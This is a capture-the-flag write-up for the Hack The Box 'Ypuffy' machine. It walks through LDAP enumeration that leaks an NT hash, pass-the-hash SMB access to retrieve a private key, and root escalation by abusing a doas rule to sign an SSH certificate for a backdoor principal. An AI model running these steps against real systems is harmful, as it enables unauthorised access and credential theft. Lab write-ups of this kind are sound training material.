Ypuffy

09/02/2019

To get user on Ypuffy we will have to make some simple enumeration with ldap and SMB, then work with PuTTY private keys to access the machine. To get root, we will play with OpenBSD commands and understand how some ssh configuration works.

User Privilege Escalation

User

Running nmap listing versions and executing default scripts we can see a bunch of ports open.

root@kali:~/htb/ypuffy# nmap -sC -sV 10.10.10.107
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-20 11:55 UTC
Nmap scan report for 10.10.10.107
Host is up (0.15s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
|   256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
|_  256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
80/tcp  open  http        OpenBSD httpd
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open  ldap        (Anonymous bind OK)
445/tcp open  netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
Service Info: Host: YPUFFY

Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6)
|   Computer name: ypuffy
|   NetBIOS computer name: YPUFFY\x00
|   Domain name: hackthebox.htb
|   FQDN: ypuffy.hackthebox.htb
|_  System time: 2019-01-20T06:56:17-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-01-20 11:56:17
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.71 seconds

Since we have ldap open to everyone, retrieve its info using nmap's ldap-search script.

root@kali:~/htb/ypuffy# nmap -p 389 --script ldap-search 10.10.10.107
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-20 12:19 UTC
Nmap scan report for 10.10.10.107
Host is up (0.070s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-search: 
|   Context: dc=hackthebox,dc=htb
|     dn: dc=hackthebox,dc=htb
|         dc: hackthebox
|         objectClass: top
|         objectClass: domain
|     dn: ou=passwd,dc=hackthebox,dc=htb
|         ou: passwd
|         objectClass: top
|         objectClass: organizationalUnit
|     dn: uid=bob8791,ou=passwd,dc=hackthebox,dc=htb
|         uid: bob8791
|         cn: Bob
|         objectClass: account
|         objectClass: posixAccount
|         objectClass: top
|         userPassword: {BSDAUTH}bob8791
|         uidNumber: 5001
|         gidNumber: 5001
|         gecos: Bob
|         homeDirectory: /home/bob8791
|         loginShell: /bin/ksh
|     dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb
|         uid: alice1978
|         cn: Alice
|         objectClass: account
|         objectClass: posixAccount
|         objectClass: top
|         objectClass: sambaSamAccount
|         userPassword: {BSDAUTH}alice1978
|         uidNumber: 5000
|         gidNumber: 5000
|         gecos: Alice
|         homeDirectory: /home/alice1978
|         loginShell: /bin/ksh
|         sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
|         displayName: Alice
|         sambaAcctFlags: [U          ]
|         sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000
|         sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
|         sambaPwdLastSet: 1532916644
|     dn: ou=group,dc=hackthebox,dc=htb
|         ou: group
|         objectClass: top
|         objectClass: organizationalUnit
|     dn: cn=bob8791,ou=group,dc=hackthebox,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: bob8791
|         userPassword: {crypt}*
|         gidNumber: 5001
|     dn: cn=alice1978,ou=group,dc=hackthebox,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: alice1978
|         userPassword: {crypt}*
|         gidNumber: 5000
|     dn: sambadomainname=ypuffy,dc=hackthebox,dc=htb
|         sambaDomainName: YPUFFY
|         sambaSID: S-1-5-21-3933741069-3307154301-3557023464
|         sambaAlgorithmicRidBase: 1000
|         objectclass: sambaDomain
|         sambaNextUserRid: 1000
|         sambaMinPwdLength: 5
|         sambaPwdHistoryLength: 0
|         sambaLogonToChgPwd: 0
|         sambaMaxPwdAge: -1
|         sambaMinPwdAge: 0
|         sambaLockoutDuration: 30
|         sambaLockoutObservationWindow: 30
|         sambaLockoutThreshold: 0
|         sambaForceLogoff: -1
|         sambaRefuseMachinePwdChange: 0
|_        sambaNextRid: 1001

Nmap done: 1 IP address (1 host up) scanned in 1.48 seconds

We can see on the obtained info that we have a user alice1978 with its NT Hash (0B186E661BBDBDCF6047784DE8B9FD8B). We can use this info to connect through SMB.

Using those credentials we're going to list all SMB shares available to this user to see where we can go.

root@kali:~/htb/ypuffy# smbmap -u alice1978 -d YPUFFY -p 0B186E661BBDBDCF6047784DE8B9FD8B:0B186E661BBDBDCF6047784DE8B9FD8B -H 10.10.10.107
[+] Finding open SMB ports....
[+] Hash detected, using pass-the-hash to authentiate
[+] User session establishd on 10.10.10.107...
[+] IP: 10.10.10.107:445	Name: 10.10.10.107                                      
	Disk                                                  	Permissions
	----                                                  	-----------
	alice                                             	READ, WRITE
	IPC$                                              	NO ACCESS

Connect to alice share through smbclient as we have seen we have READ, WRITE permissions.

root@kali:~/htb/ypuffy# smbclient -U alice1978 --pw-nt-hash //10.10.10.107/alice 0B186E661BBDBDCF6047784DE8B9FD8B
Try "help" to get a list of possible commands.
smb: \> 

The only file we can find there is a .ppk.

smb: \> dir
  .                                   D        0  Tue Jan 22 11:09:16 2019
  ..                                  D        0  Tue Jan 22 11:04:42 2019
  my_private_key.ppk                  A     1460  Tue Jul 17 01:38:51 2018

		433262 blocks of size 1024. 411468 blocks available
smb: \> get my_private_key.ppk 
getting file \my_private_key.ppk of size 1460 as my_private_key.ppk (3.0 KiloBytes/sec) (average 3.0 KiloBytes/sec)

A .ppk file is a PuTTY private key and since we are going to use Openssh, transform it using puttygen.

root@kali:~/htb/ypuffy# puttygen my_private_key.ppk -O private-openssh -o alice.key

Now we can connect as alice1978 with the obtained key to the machine.

root@kali:~/htb/ypuffy# ssh -i alice.key alice1978@10.10.10.107
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

ypuffy$

We have user.txt under alice's documents.

ypuffy$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Privilege Escalation

This machine is running OpenBSD. In this kind of operating system, instead of using sudo, the tool to execute commands as another user is doas.

Here we can see the configuration file, where alice is configured to be able to run ssh-keygen as userca without providing a password.

ypuffy$ cat /etc/doas.conf                                                                                                                                           
permit keepenv :wheel
permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen

On the other hand, on the ssh configuration file we have the following settings.

ypuffy$ cat /etc/ssh/sshd_config
...
AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username=%u
AuthorizedKeysCommandUser nobody

TrustedUserCAKeys /home/userca/ca.pub
AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u
AuthorizedPrincipalsCommandUser nobody
...

Notice the ca.pub public key is trusted.

In the AuthorizedPrincipalsCommand variable there's a curl request to some local URL. If we try to replicate it, we get the following response.

ypuffy$ curl "http://127.0.0.1/sshauth?type=principals&username=root"  
3m3rgencyB4ckd00r

Once we have all that info, we are going to try to escalate privileges taking advantage of the doas configuration to use ssh-keygen as userca to create a valid key pair to ssh as root.

First of all we're going to create a RSA key pair as alice.

ypuffy$ ssh-keygen -t rsa -f /tmp/key
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /tmp/key.
Your public key has been saved in /tmp/key.pub.

Next, we have to sign our public key as userca with its private key ca which we saw was trusted. We also have to select the principal 3m3rgencyB4ckd00r as we saw on the configuration file.

ypuffy$ doas -u userca /usr/bin/ssh-keygen -I caca -n 3m3rgencyB4ckd00r -s /home/userca/ca /tmp/key.pub   
Signed user key /tmp/key-cert.pub: id "caca" serial 0 for 3m3rgencyB4ckd00r valid forever

Now our key pair is trusted and we can connect as root using the generated private key.

ypuffy$ ssh -i /tmp/key root@10.10.10.107
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

ypuffy# whoami                                                                  
root

The flag is under root's directory.

ypuffy# cat /root/root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX